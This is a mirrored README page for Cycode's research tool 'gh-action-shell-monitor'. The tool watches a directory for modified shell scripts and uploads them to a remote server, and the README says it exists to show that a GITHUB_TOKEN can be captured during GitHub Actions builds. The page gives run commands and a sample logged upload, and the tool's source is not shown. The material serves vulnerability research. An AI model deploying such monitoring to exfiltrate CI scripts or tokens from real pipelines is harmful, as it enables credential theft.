GithubHelp home page GithubHelp logo

cycodelabs / gh-action-shell-monitor Goto Github PK

View Code? Open in Web Editor NEW
1.0 1.0 0.0 6 KB

Python script to monitor modified shell scripts in a directory

Home Page: https://cycode.com/blog/github-actions-vulnerabilities/

License: MIT License

Dockerfile 9.18% Python 90.82%

gh-action-shell-monitor's Introduction

Github Action Shell Monitor

This python utility can help you to monitor modified shell scripts in a directory. Whenever it finds such a script, it also sends it to the designated server.

This utility was used as part of our Github Actions vulnerability research which we wrote about at Cycode's Blog.

We presented that research on multiple occasions, like DevSecCon24, Open Source Summit NA 2022, and BSidesBud.

This tool aims to prove the ability to get the GITHUB_TOKEN during Github Actions build for future run commands.

This script and other similar POCs are used for research purposes to prove attackers' abilities for similar acts and to help build proper security mitigations.

You can find more information on this tool usage in this repository.

Setup

Run a simple server that logs all HTTP requests it receives in your lab environment. You can use our public tool that does exactly the same. You can run it through the following command:

sudo docker run --rm -it -p 8080:8080 cycodelabs/simple-http-logger

How to Run

Python

mkdir monitor
python3 action_monitor.py -d monitor -u <URL>

Docker

sudo docker build -t actionmonitor .
mkdir monitor
sudo docker run --rm -v ${PWD}/monitor:/app/monitored actionmonitor -u <URL>

Docker (from Docker Hub)

mkdir monitor
sudo docker run --rm -v ${PWD}/monitor:/app/monitored cycodelabs/actionmonitor -u <URL>

Results

Run this on another session

echo "echo hello" > hello.sh

Watch the results on your lab server terminal.

Host: lab.cycode.com
User-Agent: python-requests/2.28.1
Accept-Encoding: gzip, deflate
Accept: */*
Connection: keep-alive
Content-Length: 154
Content-Type: multipart/form-data; boundary=e370d0e0927360a399a54b1b2a2758d1

--e370d0e0927360a399a54b1b2a2758d1
Content-Disposition: form-data; name="upload_file"; filename="hello.sh"

echo hello

--e370d0e0927360a399a54b1b2a2758d1--


1.2.3.4 - - [28/Jul/2022 13:13:17] "POST / HTTP/1.1" 200 -

gh-action-shell-monitor's People

Contributors

alex-ilgayev avatar

Stargazers

 avatar

Watchers

 avatar

Recommend Projects

  • React photo React

    A declarative, efficient, and flexible JavaScript library for building user interfaces.

  • Vue.js photo Vue.js

    ๐Ÿ–– Vue.js is a progressive, incrementally-adoptable JavaScript framework for building UI on the web.

  • Typescript photo Typescript

    TypeScript is a superset of JavaScript that compiles to clean JavaScript output.

  • TensorFlow photo TensorFlow

    An Open Source Machine Learning Framework for Everyone

  • Django photo Django

    The Web framework for perfectionists with deadlines.

  • D3 photo D3

    Bring data to life with SVG, Canvas and HTML. ๐Ÿ“Š๐Ÿ“ˆ๐ŸŽ‰

Recommend Topics

  • javascript

    JavaScript (JS) is a lightweight interpreted programming language with first-class functions.

  • web

    Some thing interesting about web. New door for the world.

  • server

    A server is a program made to process requests and deliver data to clients.

  • Machine learning

    Machine learning is a way of modeling and interpreting data that allows a piece of software to respond intelligently.

  • Game

    Some thing interesting about game, make everyone happy.

Recommend Org

  • Facebook photo Facebook

    We are working to build community through open source technology. NB: members must have two-factor auth.

  • Microsoft photo Microsoft

    Open source projects and samples from Microsoft.

  • Google photo Google

    Google โค๏ธ Open Source for everyone.

  • D3 photo D3

    Data-Driven Documents codes.